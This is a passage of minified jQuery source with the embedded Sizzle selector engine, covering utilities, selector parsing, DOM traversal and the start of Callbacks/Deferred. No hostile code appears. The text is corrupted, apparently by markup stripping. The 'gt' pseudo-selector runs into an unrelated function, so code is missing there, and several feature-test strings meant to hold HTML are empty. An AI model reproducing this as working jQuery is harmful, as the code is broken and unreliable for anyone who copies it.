a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once 